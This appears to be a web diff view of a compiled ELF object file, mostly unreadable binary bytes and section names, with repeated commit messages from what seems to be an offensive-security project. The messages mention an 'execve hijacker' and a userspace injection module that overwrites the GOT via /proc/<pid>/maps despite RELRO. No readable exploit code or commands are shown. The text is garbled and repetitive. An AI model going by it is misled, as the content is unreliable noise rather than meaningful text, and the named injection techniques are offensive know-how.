(Ubuntu 10.3.0-1ubuntu1) 10.3.0GNU<00>zRx<08><00>E<10>C
<02><<00>E<10>C
<02>\<00>E<10>C
<03>|<00>E<10>C
<02><00>6E<10>C
-,<00><00>E<10>C
P<><03><04><05><06><03><00><><00>,BQahy<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>!-;E<00>6k^hpv<00><00><00><00><00><00><00><00><00>	<00><00><00><00>
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								l
-												Finished section 5. Multiple changes in the code according to the performed tests.

											
										
										
											2022-06-19 14:35:19 -04:00
+								<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:
 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>!<00><00><00><00>2<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>3<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>5<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>*6<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!<&<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?/<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I7<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ww\<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>e<00>j<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>t<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>z
<00><00>
8<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00><00>
8<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>32<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>><00>C<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>M<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>W9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>^c<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-												Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.

											
										
										
											2022-04-04 17:07:45 -04:00
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
 								<00>
 								<00>)
 								.
 								K<
 								,C
 								L
 								wS
 								Z
 								_
 								ym
 								r
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								<00><00>
 								<00><00>
 								H<00>
 								q<00>
 								i<00>
 								e<00>
 								<00>
 								+
 								%
 								<00>2
 								<00>?
 								sL
 								GY
 								<00>f
 								<00>s
 								=<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								)<00>
 								<00><00>
 								<00><00>
 <00>
 								I<00>
 								<00>
 								<00>
 								|)
 								<00>6
 C
 								<00>P
 								]
 								:j
 								=w
 								]<00>
 								<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								<00>
 								<00>
 								<00>
 								<00>*
 								b7
 G
 								<00>L
 								Sj
 								fw
 								%<00>
 <00>
 								<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								N<00>
 								h<00>
 								<00><00>
 								<00><00>
 								<00>
 								{
 								e4
 								Y9
 								<00>E
 								sQ
 ]
 								[k
 								qp
 								Q|
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								]
 								&
 								<00>%
 								<00>2
 								)?
 								RL
 								<00>j
 								rx
 								V<00>
 								i<00>
 								j<00>
 								.<00>
 								Z<00>
 								!<00>
 								<00>
 								<00>
 								#
 								<00>8
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								<00>$
 								<00>0
 								m
 								z
 								C<00>
 								U<00>
 								A<00>
 								<00><00>
 								<00><00>
 								E<00>
 								N<00>
 								<00>
 								<00>!
 								<00>:
 								>T
 								ha
 								%n
 								<00>{
 								<00><00>
 								?<00>
 								<00><00>
 								<00><00>
 								L<00>
 								#<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 
 								<00>0
 								<00>=
 								<00>W
 								Fd
 								t
 <00>
 								 <00>
 								<00>
-												Merged master and develop, now all changes together. Fully tested and working.

											
										
										
											2022-05-15 20:46:35 -04:00
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								%
-												Merged master and develop, now all changes together. Fully tested and working.

											
										
										
											2022-05-15 20:46:35 -04:00
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								<00>0
-												Merged master and develop, now all changes together. Fully tested and working.

											
										
										
											2022-05-15 20:46:35 -04:00
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								R
-												Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated

											
										
										
											2022-04-07 07:11:28 -04:00
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								SX
-												Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated

											
										
										
											2022-04-07 07:11:28 -04:00
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								h
-												Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated

											
										
										
											2022-04-07 07:11:28 -04:00
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								<00>t
-												Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated

											
										
										
											2022-04-07 07:11:28 -04:00
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								d<00>
-												Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated

											
										
										
											2022-04-07 07:11:28 -04:00
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								<00><00>
-												Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated

											
										
										
											2022-04-07 07:11:28 -04:00
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								<00><00>
 								p<00>
 								,<00>
 								x<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								<00>
 								{$
 								<00>1
 								<00>K
 								<00>W
 								nc<00>	z
 								<00><00>
 								m<00>
 								<00><00>
 								<00>$
-												Finished section 5. Multiple changes in the code according to the performed tests.

											
										
										
											2022-06-19 14:35:19 -04:00
+								<00>F
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
-												Finished section 5. Multiple changes in the code according to the performed tests.

											
										
										
											2022-06-19 14:35:19 -04:00
+								G)@<00>f<00>
<00>
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								<00><00><00><00>
 								<00><00>
 								m
 								`
 								<00>"
 								>A
 								<00>Q
 								<00>a
 								<00>p
 								U<00>
 								<00><00>
<00><00>
<00><00>
 								<00><00>
 								{<00>
<00>
 								*%
 								>
 								<00>I<00>`
 								p
 								<00><00>
 								<00><00>
 								<00>
 								<00><00><00><00>
 								<00>
 								<00><00>
 								<00>
 								>!
 								?
 								<00>O
 								w
 								<00><00><00>
 								$<00>
 <00>
 								<00>
 								<00>'
 								m
 								&
-												Finished section 5. Multiple changes in the code according to the performed tests.

											
										
										
											2022-06-19 14:35:19 -04:00
+								 @<00>`<00><00><00><00><00><00><00>	.symtab.strtab.shstrtab.rela.text.data.bss.rodata.rela.debug_info.debug_abbrev.rela.debug_aranges.debug_ranges.rela.debug_line.debug_str.comment.note.GNU-stack.note.gnu.property.rela.eh_frame @<00>@<00><<00>
&<00>,<00>1<00>!><00><00>9@<00>J<00>J}"<00>]%0X@x`0	lM%0}%<00>z@<00>`<00>0A+<00><00>0<00>3&<00>4<00>4 <00>84<00><00>@<00>`<00> 5p		<00>:Pa<00>